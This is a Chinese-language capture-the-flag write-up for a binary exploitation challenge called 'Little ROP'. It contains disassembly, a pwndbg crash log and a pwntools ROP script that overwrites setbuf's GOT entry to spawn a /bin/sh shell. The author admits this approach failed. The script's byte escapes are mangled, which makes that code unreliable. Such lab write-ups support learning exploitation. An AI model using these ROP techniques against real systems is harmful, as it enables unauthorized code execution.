# Little ROP
## Information
- Category: Pwn
- Points: 362
## Description
> No PIE, no canary. Perfect setup for ROP. Show me what you can do!
## Write-up 1
840+ 支队伍，结果这题只有 27 个解，说实话一开始以为是签到题，结果没想到那么难……
总之这题质量还是不错的，后期一定要回头深挖一下……
这题解法还挺多的，据我所知就有三种方法，我这里依次记录，就叫 Write-ups 1, 2, 3
吧，学习一下。
首先这个方法 1，也是我当时想到的方法，就是覆盖 `setbuf` 的 got 表为 one_gadget
的地址。但是后来发现找不到合适的 one_gadget……
这里记录的是和这个方法差不多的变体，注意到下面这个函数里面分别调用了三次 setbuf
，用到了两个参数，其中 `stdin`, `stdout`, `stderr` 都位于 bss 段，作为 rdi 的参
数。
```c
void __fastcall setup(int argc, const char **argv, const char **envp)
{
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
}
```
这就给了我们一个控制 rdi 的 gadget，我们可以把 `/bin/sh` 写在已知的地址，选一个
rdi gadget 用于设置 rdi 。
```asm
; Attributes: bp-based frame
; void __fastcall setup(int argc, const char **argv, const char **envp)
public setup
setup proc near
; __unwind {
endbr64
push rbp
mov rbp, rsp
mov rax, cs:stdin@GLIBC_2_2_5
mov esi, 0 ; buf
mov rdi, rax ; stream
call _setbuf
mov rax, cs:stdout@GLIBC_2_2_5
mov esi, 0 ; buf
mov rdi, rax ; stream
call _setbuf
mov rax, cs:stderr@GLIBC_2_2_5
mov esi, 0 ; buf
mov rdi, rax ; stream
call _setbuf
nop
pop rbp
retn
; } // starts at 401156
setup endp
```
之后我们 partial overwrite setbuf 的低三字节为 `system` 的偏移，就有 $1/16$ 的概
率命中 system 。
但是实际调试的时候发现在进入 `do_system` 后的栈操作会将我们本就不高的栈地址一直
缩小，最后 RSP 变成了只读地址，然后向只读地址之写入数据，导致访问不可写地址而 ab
ort 。
```asm showLineNumbers=false
Program received signal SIGSEGV, Segmentation fault.
0x00007fee1bf5b93e in do_system (line=0x404010 "") at ../sysdeps/posix/system.c:
102
102 in ../sysdeps/posix/system.c
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────────────────────────[ REGISTERS / show-fl
ags off / show-compact-regs off ]───────────────────────────────────────────────
────────────
RAX 0xcdd2ecfdc1a6800
RBX 0x404010 (_GLOBAL_OFFSET_TABLE_+16) <- 0
RCX 0x7fee1c01f7e2 (read+18) <- cmp rax, -0x1000 /* 'H=' */
RDX 1
RDI 0x404010 (_GLOBAL_OFFSET_TABLE_+16) <- 0
RSI 0
R8 0x7fee1c126f10 (initial+16) <- 4
R9 0x7fee1c147040 (_dl_fini) <- endbr64
R10 0x7fee1bf115e8 <- 0xf001200001a64
R11 0x246
R12 0x7fff1d8a7218 -> 0x7fff1d8a7edb <- '/home/user/chall'
R13 0x7fee1c1277a0 (quit) <- 0
R14 0x7fee1c127840 (intr) <- 0
R15 0x7fee1c17b040 (_rtld_global) -> 0x7fee1c17c2e0 <- 0
RBP 0
RSP 0x403c80 <- 0
RIP 0x7fee1bf5b93e (do_system+62) <- mov qword ptr [rsp + 0x378], rax
────────────────────────────────────────────────────────────────────[ DISASM / x
86-64 / set emulate on ]────────────────────────────────────────────────────────
────────────
0x7fee1bf5b926 <do_system+38> punpcklqdq xmm1, xmm2
0x7fee1bf5b92a <do_system+42> push rbx
0x7fee1bf5b92b <do_system+43> mov rbx, rdi
0x7fee1bf5b92e <do_system+46> sub rsp, 0x388
0x7fee1bf5b935 <do_system+53> mov rax, qword ptr fs:[0x28]
RAX, [0x7fee1bf08768]
-> 0x7fee1bf5b93e <do_system+62> mov qword ptr [rsp + 0x378], rax
[0x403ff8] <= 0xcdd2ecfdc1a6800
0x7fee1bf5b946 <do_system+70> xor eax, eax
EAX => 0
0x7fee1bf5b948 <do_system+72> mov dword ptr [rsp + 0x18], 0xffffffff
[0x403c98] <= 0xffffffff
0x7fee1bf5b950 <do_system+80> mov qword ptr [rsp + 0x180], 1
[0x403e00] <= 1
0x7fee1bf5b95c <do_system+92> mov dword ptr [rsp + 0x208], 0
[_DYNAMIC+104] <= 0
0x7fee1bf5b967 <do_system+103> mov qword ptr [rsp + 0x188], 0
[0x403e08] <= 0
────────────────────────────────────────────────────────────────────────────────
─[ STACK ]──────────────────────────────────────────────────────────────────────
────────────
00:0000│ rsp 0x403c80 <- 0
... ↓ 7 skipped
───────────────────────────────────────────────────────────────────────────────[
BACKTRACE ]────────────────────────────────────────────────────────────────────
────────────
-> 0 0x7fee1bf5b93e do_system+62
1 0x401186 setup+48
────────────────────────────────────────────────────────────────────────────────
────────────────────────────────────────────────────────────────────────────────
────────────
pwndbg> vmmap 0x403c80+0x378
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File (set vmmap-prefe
r-relpaths on)
0x402000 0x403000 r--p 1000 4000 chall_patched
-> 0x403000 0x404000 r--p 1000 4000 chall_patched +0xff8
0x404000 0x405000 rw-p 1000 5000 chall_patched
```
解决方法是在覆盖 setbuf 之后那个 read 执行完栈迁移后再想办法给它迁移到更高的地址
去，但是覆盖 setbuf 后继续写 rop 的话会破坏 setbuf 的高位地址……不知道是不是 skil
l 问题，反正就是有问题……
所以我还有一个想法就是，或许第一次 setbuf 先覆盖为 puts 的地址，泄漏 got 中的 li
bc，然后再用原先的方式控制 rdi，执行 system 。太懒了，下次再研究……
虽然我测试是失败了，无论是本地还是远程调试 docker 内的 chall，但比赛当天有人用同
样的思路，打通了……很奇怪，感觉不可思议……
## Exploit 1
```python
#!/usr/bin/env python3
from pwn import (
ELF,
args,
context,
flat,
process,
raw_input,
remote,
)
FILE = "./chall"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
libc = ELF("./libc.so.6")
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT)
def main():
launch()
read = 0x4011A9
leave_ret = 0x4011C0
ret = 0x4011C1
control_rdi = 0x401186
store_binsh = 0x404080
binsh = 0x404068
system = libc.sym["system"]
target.success(f"system: {hex(system)}")
target.success(f"setbuf@got: {hex(elf.got['setbuf'])}")
payload = flat(
b"A" * 32,
store_binsh, # first_read rbp (store /bin/sh in `store_binsh - 0x20`)
read,
binsh,
b"/bin/shx00",
b"B" * 0x10,
store_binsh - 0x30, # rbp (for more ROP) 0x404040
read,
b"C" * 0x10,
control_rdi,
b"D" * 0x8,
elf.got["setbuf"] + 0x20, # rbp
read, # after this, pivot to higher stack...? seems impossible !
b"x70x0dx05", # system
)
raw_input("DEBUG")
target.send(payload)
target.interactive()
if __name__ == "__main__":
main()
```
## Write-up 2
据说预期解是 `ret2lresolve`，崩溃，留作 TODO，有空再研究。
## Exploit 2
TODO
## Write-up 3
还有一个解是使用 `add dword ptr [rbp - 0x3d], ebx; nop; ret` gadget，后面有空再
研究，崩溃的我现在只想躺床上睡一天……
## Exploit 3
TODO